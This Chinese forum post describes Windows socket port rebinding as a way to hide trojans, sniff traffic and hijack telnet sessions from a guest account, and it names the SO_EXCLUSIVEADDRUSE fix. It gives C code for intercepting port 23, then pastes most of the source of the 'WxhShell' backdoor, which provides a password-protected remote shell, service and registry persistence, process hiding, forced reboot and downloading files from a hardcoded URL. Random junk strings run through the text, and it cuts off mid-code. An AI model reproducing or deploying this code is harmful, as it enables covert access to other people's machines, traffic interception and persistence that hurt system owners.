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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hYh~[Kr^@^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XNkQ0o0  
rH[Eh8j,  
  saddr.sin_family = AF_INET; #DcK{|ty  
1 w9Aoc  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bc\?y2 3  
(ce"ED`1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w4Ku1G#jC  
#4!6pMW(&7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~T&X#i  
UFUm-~x`  
  这意味着什么?意味着可以进行如下的攻击: zxvowM  
cS"PIelR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 66cPoG  
sUsIu,1Q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9R4q^tGR\  
m`8tHHF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =eG:Scoug?  
S]biN]+7s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U &y?3  
2LH.If  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3<HPZWc  
H/Ov8|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6Q9S~YYq  
Xr pnc 7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 DKqO5e\l8@  
U`ELd:  
  #include )"<:Md$7  
  #include p\M\mK  
  #include c(0Ez@  
  #include    1 *$-.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5[$jrG\!  
  int main() >]WQ1E[=  
  { 5K?%Eo72!=  
  WORD wVersionRequested; !,>9?(  
  DWORD ret; k'+Mc%pg4E  
  WSADATA wsaData; PiwI.c  
  BOOL val; !:Clzlg   
  SOCKADDR_IN saddr; Q GDfX_  
  SOCKADDR_IN scaddr; kM/;R)3t4/  
  int err; 0"$'1g^]7  
  SOCKET s; N^K@$bs4^  
  SOCKET sc; Hsz).u  
  int caddsize; rfxLCiV  
  HANDLE mt; )wz3 m L  
  DWORD tid;   yS(tF`H[  
  wVersionRequested = MAKEWORD( 2, 2 ); XRR`GBI  
  err = WSAStartup( wVersionRequested, &wsaData ); @60/IE{-v  
  if ( err != 0 ) { QOY M/1U  
  printf("error!WSAStartup failed!\n"); M]OZS\9.B  
  return -1; {V~G r  
  } UI.>BZ6}  
  saddr.sin_family = AF_INET; Md,KW#  
   4 g^oy^~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dz Z75  
~eHu +pv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :u>9H{a  
  saddr.sin_port = htons(23); N b@zn0A(;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B>W!RyH8o  
  { FrryZe=  
  printf("error!socket failed!\n"); ]pP [0 S  
  return -1; Acib<Mi2!-  
  } q%A.)1<'_  
  val = TRUE; ,BG L|5?3z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'w5g s}1D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )X-/0G=N-  
  { 'VTLp.~G~  
  printf("error!setsockopt failed!\n"); #q%V|Ajq  
  return -1; <v =T31aS  
  } s0x;<si_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /NFcIU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $q~:%pQv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 csay\Q{  
3A.T_mGCs  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t!,GI&  
  { 4w5mn6MxR  
  ret=GetLastError(); }hv" ku6!  
  printf("error!bind failed!\n"); Fxr$j\bm  
  return -1; q!P{a^Fnc  
  } O}IRM|r"  
  listen(s,2); B> LL *  
  while(1) _Q1[t9P"  
  { o7W1sD1O  
  caddsize = sizeof(scaddr); d2e4=/ A%  
  //接受连接请求 yl[6b1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <..|:0Q&~  
  if(sc!=INVALID_SOCKET) %VD>S  
  { [10;Mg  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z;VabOr^  
  if(mt==NULL) `vFYe N;  
  { u:0M,Ye  
  printf("Thread Creat Failed!\n"); q|+`ihut  
  break; &_N$S2  
  } otgU6S7F  
  } psZAO,p  
  CloseHandle(mt); $h( B2  
  } r g$2)z1  
  closesocket(s); `fRp9o/  
  WSACleanup(); =,-&h V  
  return 0; s;;"^5B.  
  }   (yx9ox@rL  
  DWORD WINAPI ClientThread(LPVOID lpParam) i!JVGs  
  { Z/S7ei@56  
  SOCKET ss = (SOCKET)lpParam; c)tG1|Og]  
  SOCKET sc; #AJo75E%  
  unsigned char buf[4096]; hvS4"% \  
  SOCKADDR_IN saddr; *uq}jlD`!  
  long num; d;$<K  
  DWORD val; nd[{DF?)/  
  DWORD ret; @N-P[.qL"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6HW8mXQh<h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NJ;D Qv  
  saddr.sin_family = AF_INET; XOe8(cXa9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }RvP*i  
  saddr.sin_port = htons(23); I,@f*o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 18AKM  
  { /b)V=mcR  
  printf("error!socket failed!\n"); f/Lyc=- ]  
  return -1; 2C!Ko"1Y'  
  } nKzS2 u=:Y  
  val = 100; Z7X_U` Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) & bwhD.:=  
  { 5IPZ;  
  ret = GetLastError(); d,_Ky#K5b  
  return -1; _U"9#<  
  } !4(X9}a  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4[ 7) $  
  { K6=i\   
  ret = GetLastError(); {v,O  
  return -1; ue5C ]  
  } E26zw9d  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Sl8A=Ez  
  { P)2.Gx/  
  printf("error!socket connect failed!\n"); NRM=0-16u$  
  closesocket(sc); VoOh$&"M  
  closesocket(ss); \!erP!$x .  
  return -1; KL8G2"Z  
  } 2k}" 52  
  while(1) P@m_tA%  
  { S<f]Y4A&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MrW#~S|ED  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 d%y)/5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =q%Q^  
  num = recv(ss,buf,4096,0); r{V=)h  
  if(num>0) %V+hm5Q  
  send(sc,buf,num,0); <Oi65O_X  
  else if(num==0) %q~YJ*\  
  break; e-Xr^@M*Q  
  num = recv(sc,buf,4096,0); <@DF0x!  
  if(num>0) vbo:,]T<A  
  send(ss,buf,num,0); 9\_^"5l  
  else if(num==0) ne=?'e4  
  break; _NfdJ=[Xh  
  } \lJCBb+k  
  closesocket(ss); /YP,Wfd%  
  closesocket(sc); BP&T|s  
  return 0 ; ]5V=kNu i  
  } dOm@cs  
+ld]P}  
Pp*:rA"N  
========================================================== < )dqv0=  
J-6l<%962%  
下边附上一个代码,,WXhSHELL 3N(5V;ti  
4@b~)av)  
========================================================== <}G*/ z?/  
0%Y8M` ~s7  
#include "stdafx.h" fd{75J5%  
K/Q%tr1W0  
#include <stdio.h> UP18?uM  
#include <string.h>  T\(w}  
#include <windows.h> H%LoI)w  
#include <winsock2.h> V__|NVoOm  
#include <winsvc.h> C#^V<:9  
#include <urlmon.h> B1x# 7>K  
=N62 ){{  
#pragma comment (lib, "Ws2_32.lib") 9vQI ~rz?  
#pragma comment (lib, "urlmon.lib") Y ]xFe>  
Z%Kkh2-uh  
#define MAX_USER   100 // 最大客户端连接数 K}vP0O}  
#define BUF_SOCK   200 // sock buffer \gBsAZE  
#define KEY_BUFF   255 // 输入 buffer @O!BQ^'hk#  
!O`aaLc  
#define REBOOT     0   // 重启 Lp|7s8?  
#define SHUTDOWN   1   // 关机 <|!?V"`3  
pk%%}tP<  
#define DEF_PORT   5000 // 监听端口 [tKH'}/s=  
q X"Pg  
#define REG_LEN     16   // 注册表键长度 qhdY<[6  
#define SVC_LEN     80   // NT服务名长度 DRDn;j  
d@$]/=%  
// 从dll定义API /IO<TF(X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \]j{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nY>UYSv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  {"RUiL^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4Bn <L&@/  
}f l4^F  
// wxhshell配置信息 S%^*h{9u"  
struct WSCFG { %kHeU=  
  int ws_port;         // 监听端口 0eGz|J*7  
  char ws_passstr[REG_LEN]; // 口令 wM-I*<L>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5~,/VV  
  char ws_regname[REG_LEN]; // 注册表键名 DOsQVdH  
  char ws_svcname[REG_LEN]; // 服务名 T{A_]2 G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tdCD!rV`{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TFQX}kr]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b1*5#2rs.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C[-M ~yIL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Jq5](F!z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K P1;u#v  
?tA<:.<vtY  
}; ;R_H8vp  
U_&v|2o#3  
// default Wxhshell configuration !`A]YcQ  
struct WSCFG wscfg={DEF_PORT, r1jsw j%7  
    "xuhuanlingzhe", 6UK}?+r~  
    1, \y7kb  
    "Wxhshell", ;kX:k~,]}>  
    "Wxhshell", %Kk MWl&:  
            "WxhShell Service", LX!MDZz  
    "Wrsky Windows CmdShell Service", "f Ni3 <x]  
    "Please Input Your Password: ", ?o D]J  
  1, 5x2m ]u  
  "http://www.wrsky.com/wxhshell.exe", N!{waPbPi  
  "Wxhshell.exe" ,\DSi&T  
    }; !,(6uO%  
8mmHefZ}2!  
// 消息定义模块 yUyx&Y/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WZ A8D0[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !wU~;sL8C3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \#hp,XV>  
char *msg_ws_ext="\n\rExit."; [ r<0[  
char *msg_ws_end="\n\rQuit."; C$<['D?8  
char *msg_ws_boot="\n\rReboot..."; 1MPn{#Ff  
char *msg_ws_poff="\n\rShutdown..."; J"$Y`;  
char *msg_ws_down="\n\rSave to "; @ptE&m  
S^ ,q{x*T  
char *msg_ws_err="\n\rErr!"; &gr)U3w  
char *msg_ws_ok="\n\rOK!"; O>M4%p  
# ~I.F4  
char ExeFile[MAX_PATH]; <hv {,1p-r  
int nUser = 0; aANzL  
HANDLE handles[MAX_USER]; !&f>,?wlP  
int OsIsNt; (2l?~CaK  
@hG]Gs[,o  
SERVICE_STATUS       serviceStatus; OsGKlWM/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dfa^5`_  
sN8)p%'Lg  
// 函数声明 vJ a?5Jr  
int Install(void); *#| lhf'  
int Uninstall(void); VGVb3@  
int DownloadFile(char *sURL, SOCKET wsh); ImG7E w  
int Boot(int flag); :~ ; 48m  
void HideProc(void); B.oD9 <9  
int GetOsVer(void); y.6Yl**l  
int Wxhshell(SOCKET wsl); rHMr8,J;  
void TalkWithClient(void *cs); c+bOp 05o-  
int CmdShell(SOCKET sock); EQvZ(-_;4  
int StartFromService(void); ?j:g.a+U  
int StartWxhshell(LPSTR lpCmdLine); +vSp+X1E  
\G~<O071  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fJdTVs@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^h5h kIx0  
XZew$Om[  
// 数据结构和表定义 *;0Ods+IcY  
SERVICE_TABLE_ENTRY DispatchTable[] = ,QZNH?Cp/  
{ 5/f"dX  
{wscfg.ws_svcname, NTServiceMain}, gNj~o^6|@  
{NULL, NULL} <`P7^ 'z!  
}; VS\+"TPuH  
DZ*m"Bi  
// 自我安装 ]T<\d-!CZN  
int Install(void) 7A6:*  
{ \:pd+8  
  char svExeFile[MAX_PATH]; \5q0nB@i5y  
  HKEY key; gc"A Tc  
  strcpy(svExeFile,ExeFile); -h`[w:  
FDQP|,  
// 如果是win9x系统,修改注册表设为自启动 }[O/u <Z  
if(!OsIsNt) { f8 vWN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y/\0qQ/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )N}.n2Y8W  
  RegCloseKey(key); }n;.E&<[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bH1MDBb2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); loByT p ^  
  RegCloseKey(key); J*zm*~8\  
  return 0; ~z$+uK  
    } dZ;rn!dg>  
  } TMAart; <  
} $?M$^- (e  
else { U+7!Vpq  
$>6Kn`UX  
// 如果是NT以上系统,安装为系统服务 )ipTm{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {Hr P;)  
if (schSCManager!=0) Z-;I,\Y%  
{ 1_MaaA;ow"  
  SC_HANDLE schService = CreateService Q?WgGE4>  
  ( c[zaYcbl  
  schSCManager, y-R:-K XH=  
  wscfg.ws_svcname, K=Y{iHn  
  wscfg.ws_svcdisp, %}ASll0uq  
  SERVICE_ALL_ACCESS, {+  @M!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I>n2# -8  
  SERVICE_AUTO_START, D]B;5f  
  SERVICE_ERROR_NORMAL, a&)4Dv0  
  svExeFile,  97-=Vb  
  NULL, O tD!@GQ6  
  NULL, Q2jl61d_9  
  NULL, biy[h3b  
  NULL, csCi0'u  
  NULL i8 fUzg)  
  ); rG"QK!R5  
  if (schService!=0) r]yI5 ;  
  { ZB5u\NpcW  
  CloseServiceHandle(schService); ;{S7bH'6m  
  CloseServiceHandle(schSCManager); t#sw{RO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b _%W*Q  
  strcat(svExeFile,wscfg.ws_svcname); .In8!hjYy4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $]I" ,ef  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GJ P\vsaQ  
  RegCloseKey(key); $,DX^I%!  
  return 0; g)UYpi?p-}  
    } >7j(V`i"y  
  } e,rCutA)  
  CloseServiceHandle(schSCManager); =[x @BzH  
} xjO((JC  
} n=tg{_9f%  
[2Rw)!N  
return 1; eHQ3K#M#  
} Mg^.~8\d e  
}5{#f`Ca6  
// 自我卸载 "F8A:tR  
int Uninstall(void) {nyVC%@Y  
{ =sa bJsgL  
  HKEY key; &] euL:C  
3G9AS#-C  
if(!OsIsNt) { L.1pO2zPe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y*fU_Il|!  
  RegDeleteValue(key,wscfg.ws_regname); SYZS@o  
  RegCloseKey(key); p@x1B &Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UB&)U\hn  
  RegDeleteValue(key,wscfg.ws_regname); DGllJ_/Z  
  RegCloseKey(key); J;S@Q/s  
  return 0; +""8aA  
  } ob3Z I  
} K;}h u(*\]  
}  _8G  
else { (HZzA7eph  
eE'2B."F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3"OD"  
if (schSCManager!=0) WF{rrU:  
{ 1]l m0bfs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?MhY;z`=  
  if (schService!=0) hiN6]jL|O  
  { ;v?!Pml2k  
  if(DeleteService(schService)!=0) { zFtRsa5 +  
  CloseServiceHandle(schService); `1$7. ydQ  
  CloseServiceHandle(schSCManager); ]c \gUU  
  return 0; 2Hp#~cE+.  
  } 8yDu(.Q  
  CloseServiceHandle(schService); YLfZ;W|6u  
  } %kg%ttu7  
  CloseServiceHandle(schSCManager); ,&\uuD&.@  
} >/DyR+?>4  
} N?'V,p 0=  
K 8gd?88  
return 1; N}*|*!6hI  
} hl[!4#b]K  
JKkR963 O  
// 从指定url下载文件 fdD?"z  
int DownloadFile(char *sURL, SOCKET wsh) i 7fQj, q  
{ cI O7RD$8  
  HRESULT hr; [7~ !M*o9  
char seps[]= "/"; JRm:hf'  
char *token; JWa9[Dj  
char *file; x"Hi!h)v  
char myURL[MAX_PATH]; ^/3R/;?  
char myFILE[MAX_PATH]; >g]kbes-\  
/l,V0+p  
strcpy(myURL,sURL); yB7=8 Pcx  
  token=strtok(myURL,seps); A&2)iQ  
  while(token!=NULL) Xw=>L#Q  
  { DFz,>DM;  
    file=token; oXc!JZ^  
  token=strtok(NULL,seps); .]qj];m  
  } $f-f0t'  
B?nQUIb:  
GetCurrentDirectory(MAX_PATH,myFILE); }' mBqn  
strcat(myFILE, "\\"); A3p@hQl  
strcat(myFILE, file); `o 6Hm  
  send(wsh,myFILE,strlen(myFILE),0); ag-\(i;K]  
send(wsh,"...",3,0); m"~^-mJ-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9ZL3p!  
  if(hr==S_OK) @LS*WJ< w-  
return 0; );wSay>%(  
else ^1vh5D  
return 1; 1@ )8E`u  
M%dXy^e  
} JRkC~fv  
b<de)MG  
// 系统电源模块 ?q(7avS9  
int Boot(int flag) BpL,<r,  
{ #ra~Yb-F  
  HANDLE hToken; V fJYYR  
  TOKEN_PRIVILEGES tkp; vs/.'yD/C  
vr|9NP]v  
  if(OsIsNt) { !_VKJZuH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Lt+ Cm$3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ngprTMO$&  
    tkp.PrivilegeCount = 1; ,%#FK|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [lpzUB}<Yp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .$/Su3]K/  
if(flag==REBOOT) { 1nb]~{l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l@a>"\><i*  
  return 0; CBA MAr  
} ]A:n]mL  
else { C`z[25o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bsw0+UY=9  
  return 0; )\C:|  
} ugEh}3  
  } K14e"w%6rs  
  else { .(OFYK<  
if(flag==REBOOT) { Gpws_ jw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  `Nn=6[]  
  return 0; P%A^TD|  
} N/QTf1$  
else { Q# w`ZQX3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t@[&8j2B>  
  return 0; Xm./XC  
} ~ztsR;iL  
} =B g  
a9C8Q l  
return 1; Ah,X?0+  
} GsG.9nd  
bI 3o|  
// win9x进程隐藏模块 5t`< KRz)I  
void HideProc(void) w yP|#Z\  
{ rmS.$h@7 m  
n`Pwo &  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HV-c DL  
  if ( hKernel != NULL ) ?!=yp#  
  { <H{%`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p]/HZS.-b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YIv!\`^ \  
    FreeLibrary(hKernel); ;/w-7O:  
  } 3 f=_F  
BbEWa  
return; T 22tZp  
} ?AC flU_k  
jnfktDV'  
// 获取操作系统版本 dWbSrl  
int GetOsVer(void) kR2kV"-l  
{ b^[Ab:`}[V  
  OSVERSIONINFO winfo; f%fD>a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e P]L  
  GetVersionEx(&winfo); .{[+d3+,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N `-\'h  
  return 1; *->2$uWP  
  else !n9H[QP^9  
  return 0; f]Jn\7j4  
} 5}S~8  
qxKW% {6o  
// 客户端句柄模块 86pujXjc'  
int Wxhshell(SOCKET wsl) L?_'OwaY  
{ iI T7pq1  
  SOCKET wsh; ~6YTm6o  
  struct sockaddr_in client; cu{c:z~  
  DWORD myID; m'{gO9V  
jeb ]3i=pw  
  while(nUser<MAX_USER) ]-ad\PI$  
{ h9<*+T  
  int nSize=sizeof(client); 6Ih8~Hu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g{|F<2rd[m  
  if(wsh==INVALID_SOCKET) return 1; \4$V ;C/n,  
qiEw[3Za]'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I'6 wh+  
if(handles[nUser]==0) Z:>)5Z{'  
  closesocket(wsh); t}FwS6u  
else S7i,oP7  
  nUser++; u!4i+7}  
  } ViZ Tl~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xF4S  
v\&C]W]  
  return 0; $?x;?wS0V  
} '" MT$MrT  
okwkMd-yW  
// 关闭 socket O_vCZW a3  
void CloseIt(SOCKET wsh) ]#$l"ss,  
{ >|j8j:S[  
closesocket(wsh); Fsdp"X.  
nUser--; B\WIoz;'  
ExitThread(0); eKpWFP 0  
} >)`yG'[  
9NXL8QmC8  
// 客户端请求句柄 E4}MU}C#[  
void TalkWithClient(void *cs) YCBp ]xuE  
{ M~h^~:Lk  
AFMIp^F  
  SOCKET wsh=(SOCKET)cs; oGIh:n7 q+  
  char pwd[SVC_LEN]; \US'tF)/  
  char cmd[KEY_BUFF]; +"yt/9AO  
char chr[1]; ?aMd#.&  
int i,j; Z'Uc}M'U  
%"yy8~|  
  while (nUser < MAX_USER) { :t)<$dtf[  
]h3{M Tr/  
if(wscfg.ws_passstr) { 0:C^-zrx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,ma4bqRMc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !tuN_  
  //ZeroMemory(pwd,KEY_BUFF); rlRRGJ\l  
      i=0; au+6ookT  
  while(i<SVC_LEN) { K^6fg,&  
r &.gOC  
  // 设置超时 ]K<mkUpY  
  fd_set FdRead; aG*Mj;J  
  struct timeval TimeOut; +uqP:z  
  FD_ZERO(&FdRead); F/ si =%  
  FD_SET(wsh,&FdRead); 5w9oMM {  
  TimeOut.tv_sec=8; PI-o)U$Ehv  
  TimeOut.tv_usec=0; 6}/m~m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =NNA7E7c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XYrZI/R  
|'+ [ '  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I d}@  
  pwd=chr[0]; 6s<w} O  
  if(chr[0]==0xd || chr[0]==0xa) { y+aL5$x6  
  pwd=0; _~}n(?>  
  break; 7g%.:H =  
  } ^U;r>[T9h  
  i++; f53WDI6  
    } eVvDis  
h 0c&}kM  
  // 如果是非法用户,关闭 socket fU^6h`t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `mp3ORR;$  
} Y I?4e7Z+  
dN)@/R^E;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :c/](M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o0B3G  
b%_[\((  
while(1) { +Rq7m]  
"k> ;K,:  
  ZeroMemory(cmd,KEY_BUFF); X/AA8QV o  
vVfIe5+OP  
      // 自动支持客户端 telnet标准   -. J@  
  j=0; 2;`F` }BA  
  while(j<KEY_BUFF) { \L]T|]}(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y%Wbm&h  
  cmd[j]=chr[0]; Gi S{=+=5  
  if(chr[0]==0xa || chr[0]==0xd) { fa#5pys  
  cmd[j]=0; U#gv ~)\k  
  break; D//uwom  
  } wM0P#+bA\  
  j++; L9bIdiB7  
    } r>kDRIHB  
;)rs#T;$  
  // 下载文件 g@s'-8}X^  
  if(strstr(cmd,"http://")) { ,/1[(^e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iosL&*'8  
  if(DownloadFile(cmd,wsh)) :G/.h[\R|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Op 0Qpn  
  else HLYo+;j3|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N1l&$#Fr!s  
  } *{%d{x}l  
  else { yS"; q  
|)pgUI2O[  
    switch(cmd[0]) { "v[?`<53^l  
  -MTO=#5z  
  // 帮助 r4wnfy  
  case '?': { _VFL}<i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z#_+yw  
    break; hcJny  
  } \+I+Lrj%  
  // 安装 &h67LMD!  
  case 'i': { KOP*\\1 J  
    if(Install()) EwuBL6kN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eT ZQ[qMp  
    else lKA2~o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $@}\T  
    break; ZnXq+^ Z4  
    } jPyhn8Vw  
  // 卸载 #h~v(Z}  
  case 'r': { [*2|#KSCX  
    if(Uninstall()) maINp"#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P%^\<#Ya7  
    else (.J8Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m=e#1Hs   
    break; z<Y >phc  
    } >^V3Z{;  
  // 显示 wxhshell 所在路径 99mo]1_  
  case 'p': { @uzzyp r>  
    char svExeFile[MAX_PATH]; ;=oGg%@aP  
    strcpy(svExeFile,"\n\r"); KRN{Ath.  
      strcat(svExeFile,ExeFile); 2Hj;o  
        send(wsh,svExeFile,strlen(svExeFile),0); K26x,m]p  
    break; 1u\kxlZ  
    } v>]^wH>/"  
  // 重启 N \Wd 0b  
  case 'b': { W*D].|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ypA)G/;  
    if(Boot(REBOOT)) (g 9G!I   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /&Vgo ~.J  
    else { a"|\n_  
    closesocket(wsh); u*C"d1v=  
    ExitThread(0); C~([aH@-I  
    } ab-MEN`5  
    break; sXmo.{Ayb  
    } y |0I3n]e  
  // 关机 D-!#TN`Y  
